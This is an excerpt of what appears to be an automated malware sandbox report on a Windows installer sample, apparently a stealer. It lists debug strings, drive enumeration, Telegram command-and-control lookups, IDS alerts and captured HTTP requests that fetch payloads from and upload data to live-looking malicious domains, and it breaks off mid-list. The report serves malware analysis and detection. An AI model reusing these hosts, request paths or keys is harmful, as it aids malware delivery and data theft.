Source:	Binary string: C:\ReleaseAI\win\Release\stubs\x86\ExternalUi.pdb source: 1.exe, 1.exe, 00000004.00000002.2258821783.0000000000B1B000.00000002.00000001.01000000.00000004.sdmp, 1.exe, 00000004.00000000.1278293993.0000000000B1B000.00000002.00000001.01000000.00000004.sdmp, 1.exe, 0000000B.00000002.2228034287.0000000000B1B000.00000002.00000001.01000000.00000004.sdmp, 1.exe, 0000000B.00000000.1506124351.0000000000B1B000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: System.Net.NameResolution.ni.pdb source: MainSoftware.exe, 00000010.00000002.2150696251.000002753B381000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2150453848.000002753B36D000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Claims\Release\net8.0\System.Security.Claims.pdb source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142461937.0000027537EE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142367623.0000027537EB3000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Numerics.Vectors\Release\net8.0\System.Numerics.Vectors.pdb source: MainSoftware.exe, 00000010.00000002.2143681745.00000275384E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143619192.00000275384DC000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Threading.ni.pdb source: MainSoftware.exe, 00000010.00000002.2139484867.000002349EBE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142756269.000002753814B000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Net/Release/net8.0-windows/System.Net.pdb source: MainSoftware.exe, 00000010.00000002.2143619192.00000275384D7000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog.Sinks.Http/obj/Release/netstandard2.1/Serilog.Sinks.Http.pdb source: MainSoftware.exe, 00000010.00000002.2141601509.0000027536021000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141547348.0000027536009000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\Users\Admin\Distributor\Bundle Project\MSIInstaller\obj\Release\net8.0\win-x64\linked\MSIInstaller.pdb source: 1.exe, 00000004.00000003.1588667153.000000000C542000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net8.0\System.Runtime.InteropServices.pdb source: MainSoftware.exe, 00000010.00000002.2143143857.00000275382D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143093774.00000275382B5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Numerics/Release/net8.0-windows/System.Numerics.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352B0000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384F5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.EventBasedAsync\Release\net8.0\System.ComponentModel.EventBasedAsync.pdb source: MainSoftware.exe, 00000010.00000002.2142971155.0000027538262000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.NetworkInformation.ni.pdb source: MainSoftware.exe, 00000010.00000002.2152851564.000002753B481000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2152469734.000002753B46A000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261226768.000002BDD0B11000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: #.Pdb source: 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2143996373.0000027538601000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: wininet.pdb source: 1.exe, 00000004.00000003.1321424870.0000000009918000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517432545.000000000744C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Text.Encodings.Web.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143527590.0000027538491000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143445237.000002753847A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Concurrent.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384FD000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143781631.0000027538521000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142891564.0000027538203000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142946137.0000027538231000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ComponentModel.Primitives.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142971155.0000027538269000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143023677.0000027538281000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NetworkInformation\Release\net8.0-windows\System.Net.NetworkInformation.pdb source: MainSoftware.exe, 00000010.00000002.2152851564.000002753B481000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2152469734.000002753B46A000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261226768.000002BDD0B11000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Private.Uri.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142815364.0000027538167000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142869783.0000027538191000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections\Release\net8.0\System.Collections.pdb source: MainSoftware.exe, 00000010.00000002.2139962633.000002349EDC9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139926749.000002349ED91000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encoding/Release/net8.0-windows/System.Text.Encoding.pdb source: MainSoftware.exe, 00000010.00000002.2143445237.0000027538476000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\FileOperations.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\dlls\mscordac\mscordaccore.pdb source: 1.exe, 00000004.00000003.1588667153.000000000C3C1000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, MainSoftware.exe, 00000010.00000002.2167406026.00007FF7D9618000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Registry\Release\net8.0-windows\Microsoft.Win32.Registry.pdb source: MainSoftware.exe, 00000010.00000002.2143232066.0000027538317000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143295395.0000027538331000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2142559459.0000027537F61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142488273.0000027537F19000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdb source: MainSoftware.exe, 00000010.00000002.2142461937.0000027537EE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142367623.0000027537EB3000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Collections.NonGeneric.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143077066.00000275382A1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143041301.0000027538291000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Threading.Timer/Release/net8.0-windows/System.Threading.Timer.pdb source: MainSoftware.exe, 00000010.00000002.2142756269.0000027538147000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: MainSoftware.exe, 00000010.00000002.2142891564.0000027538203000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142946137.0000027538231000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Debug/Release/net8.0-windows/System.Diagnostics.Debug.pdb source: MainSoftware.exe, 00000010.00000002.2142367623.0000027537EB0000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdb source: MainSoftware.exe, 00000010.00000002.2143935572.00000275385E2000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143966375.00000275385F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Memory.ni.pdb source: MainSoftware.exe, 00000010.00000002.2152351430.000002753B451000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151993346.000002753B43C000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdb source: MainSoftware.exe, 00000010.00000002.2143876894.00000275385C3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143920191.00000275385D1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Extensions.Configuration.Abstractions/Release/net7.0/Microsoft.Extensions.Configuration.Abstractions.pdb source: MainSoftware.exe, 00000010.00000002.2141698149.0000027536080000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141733839.00000275360A1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdb source: MainSoftware.exe, 00000010.00000002.2150780721.000002753B393000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151073254.000002753B3A1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog.Formatting.Compact/obj/Release/net8.0/Serilog.Formatting.Compact.pdb source: MainSoftware.exe, 00000010.00000002.2141475912.0000027535FE8000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141529603.0000027535FF1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdbSHA2560 source: MainSoftware.exe, 00000010.00000002.2143445237.0000027538472000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdb source: MainSoftware.exe, 00000010.00000002.2142559459.0000027537F61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142488273.0000027537F19000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdbG source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Security.Cryptography.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142592762.0000027537FB6000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142689155.0000027538081000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdb source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384F5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http.Json\Release\net8.0\System.Net.Http.Json.pdb source: MainSoftware.exe, 00000010.00000002.2143160448.00000275382EA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143209931.0000027538301000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Runtime.InteropServices.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143143857.00000275382D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143093774.00000275382B5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net8.0\System.Linq.pdbSHA256R source: MainSoftware.exe, 00000010.00000002.2140001032.000002349EDF3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140127974.00000234A06D1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Extensions.Primitives/Release/net7.0/Microsoft.Extensions.Primitives.pdb source: MainSoftware.exe, 00000010.00000002.2140154271.00000234A0702000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\Corehost.Static\singlefilehost.pdb source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encodings.Web\Release\net8.0\System.Text.Encodings.Web.pdb source: MainSoftware.exe, 00000010.00000002.2143527590.0000027538491000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143445237.000002753847A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdb source: MainSoftware.exe, 00000010.00000002.2141840198.0000027536161000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141751848.00000275360B8000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Primitives\Release\net8.0\System.ComponentModel.Primitives.pdb source: MainSoftware.exe, 00000010.00000002.2142971155.0000027538269000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143023677.0000027538281000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Sockets\Release\net8.0-windows\System.Net.Sockets.pdb source: MainSoftware.exe, 00000010.00000002.2143851076.0000027538581000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143804192.0000027538541000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Intrinsics\Release\net8.0\System.Runtime.Intrinsics.pdb source: MainSoftware.exe, 00000010.00000002.2143603521.00000275384C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143558064.00000275384B4000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261349602.000002BDD0C71000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Http.ni.pdb source: MainSoftware.exe, 00000010.00000002.2141840198.0000027536161000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141751848.00000275360B8000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdb source: MainSoftware.exe, 00000010.00000002.2139801818.000002349ED73000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139872986.000002349ED81000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Buffers/Release/net8.0-windows/System.Buffers.pdb source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384F9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009710000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdb source: MainSoftware.exe, 00000010.00000002.2143445237.0000027538472000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\lzmaextractor.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009710000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Principal.Windows\Release\net8.0-windows\System.Security.Principal.Windows.pdb source: MainSoftware.exe, 00000010.00000002.2151399807.000002753B3D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151185629.000002753B3B1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdbSHA2560 source: MainSoftware.exe, 00000010.00000002.2150780721.000002753B393000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151073254.000002753B3A1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Primitives.ni.pdb source: MainSoftware.exe, 00000010.00000002.2141954837.0000027536241000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141897499.000002753621B000.00000002.00000001.00040000.0000000A.sdmp

Spreading

Checks for available system drives (often done to infect USB drives)

Source: C:\Users\user\Desktop\1.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\Desktop\1.exe	File opened: e:	Jump to behavior
Source: C:\Program Files (x86)\Main\MainSoftware.exe	File opened: c:
Source: C:\Users\user\Desktop\1.exe	File opened: a:	Jump to behavior

Yara detected AdvancedInstaller

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_009B5800 FindFirstFileW,GetLastError,FindClose,		11_2_009B5800
Source: C:\Users\user\Desktop\1.exe	Code function: 11_2_00873CB0 FindClose,PathIsUNCW,FindFirstFileW,GetFullPathNameW,GetFullPathNameW,FindClose,SetLastError,		11_2_00873CB0

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_008931C0 GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLastError,

11_2_008931C0

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Users\user\AppData\Local\Adobe\

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2829202 - Severity 1 - ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA : 192.168.2.5:49701 -> 104.21.80.136:443
Source: Network traffic	Suricata IDS: 2829202 - Severity 1 - ETPRO MALWARE MSIL/Zbrain PUP/Stealer Installer UA : 192.168.2.5:49703 -> 104.21.80.136:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 149.154.167.220 443
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 172.67.184.211 443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: POST /install/new HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000Transfer-Encoding: chunkedContent-Type: application/json; charset=utf-8
Source: global traffic	HTTP traffic detected: GET /install/whattoinstall/4c2d4fd1-9d88-4973-a75e-9b3ee4edf911 HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: jonatechlab.comContent-Type: application/jsonContent-Length: 660
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: jonatechlab.comContent-Type: application/jsonContent-Length: 133
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: jonatechlab.comContent-Type: application/jsonContent-Length: 172
Source: global traffic	HTTP traffic detected: GET /install/getfiles/Chop/Install.exe HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: GET /install/getfiles/Chop/Chop.pkg HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: swiftvantage.onlineContent-Type: application/jsonContent-Length: 1338
Source: global traffic	HTTP traffic detected: POST /logs/telemetry HTTP/1.1Host: jonatechlab.comContent-Type: application/jsonContent-Length: 375
Source: global traffic	HTTP traffic detected: POST /uplo.php HTTP/1.1Host: wetransfers.ioAccept: /Content-Length: 898Content-Type: multipart/form-data; boundary=------------------------Iv7PtROXsQsuvFVbIKIWnT

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 172.67.184.211 172.67.184.211
Source: Joe Sandbox View	IP Address: 104.21.80.136 104.21.80.136

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Install.exe HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: swiftvantage.onlineConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /tools/files/dc657fbe-5659-47ad-b5f6-05fa4c901173/msi/Surfclub.pkg HTTP/1.1Accept: /User-Agent: AdvancedInstallerHost: swiftvantage.onlineConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /install/whattoinstall/4c2d4fd1-9d88-4973-a75e-9b3ee4edf911 HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: GET /install/getfiles/Chop/Install.exe HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: GET /install/getfiles/Chop/Chop.pkg HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000
Source: global traffic	HTTP traffic detected: GET /v.php HTTP/1.1Host: wetransfers.ioUser-Agent: curl/7.83.1Accept: /

Source: global traffic	DNS traffic detected: DNS query: swiftvantage.online
Source: global traffic	DNS traffic detected: DNS query: jonatechlab.com
Source: global traffic	DNS traffic detected: DNS query: wetransfers.io
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /install/new HTTP/1.1Host: jonatechlab.comX-API-Key: 123e4567-e89b-12d3-a456-426614174000Transfer-Encoding: chunkedContent-Type: application/json; charset=utf-8

Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://.css
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://.jpg
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q
Source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.co
Source: 1.exe, 00000004.00000002.2261993160.000000000A2F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4
Source: 1.exe, 00000004.00000002.2261284310.0000000008180000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000002.2261783516.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1596877787.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.2247148881.000000000820F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517166138.0000000008B40000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1515052828.00000000050E9000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.2227216121.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517145104.0000000008B39000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000002.2228613960.00000000050CC000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 